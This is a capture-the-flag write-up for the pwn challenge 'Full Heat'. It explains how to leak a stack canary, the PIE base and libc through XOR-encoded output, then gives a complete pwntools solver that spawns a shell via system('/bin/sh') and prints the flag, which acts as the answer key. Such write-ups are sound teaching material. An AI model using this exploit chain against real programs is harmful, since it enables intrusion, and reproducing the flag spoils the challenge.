Securinets Friendly CTF 2026 / Pwn WRITEUP
Full Heat
Rockstar put all of Leonida on lockdown. Surely that will stop CyberLeek this time.
Walkthrough
Solution
The XOR archive output provides both required leaks. First send 41 known bytes: the extra byte passes the stack canary's leading null, so XOR-decoding the next seven bytes recovers the canary. Preserve it in a one-byte partial return overwrite that re-enters the report path. On the second pass, 56 known bytes let the archive output continue into the saved return address, revealing the PIE base.
With PIE known, return through broadcast. Its by-value Broadcast argument is read from the stack, giving a call primitive: set its message to read@got and its function pointer to puts@plt, then re-enter once more. Convert that leak into the libc base. A final broadcast frame uses /bin/sh as the message and system as the callback, while preserving the recovered canary.
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF("./main", checksec=False)
context.log_level = "error"
libc = ELF("./libc.so.6", checksec=False)
key = b"\x5a"
p = process("./main") if args.LOCAL else remote("127.0.0.1", 9012)
canary_leak = b"A" * 41
p.sendafter(b"> ", canary_leak)
p.recvuntil(xor(canary_leak, key))
canary = u64(b"\0" + xor(p.recvn(7), key))
restart = b"B" * 40 + p64(canary) + b"C" * 8 + p8(0x9a)
p.sendafter(b"> ", restart)
pie_leak = b"D" * 56
p.sendafter(b"> ", pie_leak)
p.recvuntil(xor(pie_leak, key))
pie = u64(xor(p.recvn(6), key).ljust(8, b"\0"))
elf.address = pie - 0x10a6
ret = elf.address + 0x101a
dispatch = elf.address + 0x12d0
reenter = elf.address + 0x109a
leak_read = flat(
b"E" * 40,
canary,
b"F" * 8,
ret,
dispatch,
reenter,
0,
elf.got["read"],
elf.plt["puts"],
)
p.sendafter(b"> ", leak_read)
read_address = u64(p.recvline()[:-1].ljust(8, b"\0"))
libc.address = read_address - libc.sym["read"]
clean_report = b"G" * 40
p.sendafter(b"> ", clean_report)
shell = flat(
b"H" * 40,
canary,
b"I" * 8,
ret,
dispatch,
libc.sym["exit"],
0,
next(libc.search(b"/bin/sh\0")),
libc.sym["system"],
)
p.sendafter(b"> ", shell)
sleep(0.2)
p.sendline(b"cat flag.txt")
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()Flag
Securinets{r0ckst4r_c4ll3d_1t_4_s3cur1ty_t3st_cyb3rl33k_c4ll3d_1t_tu3sd4y}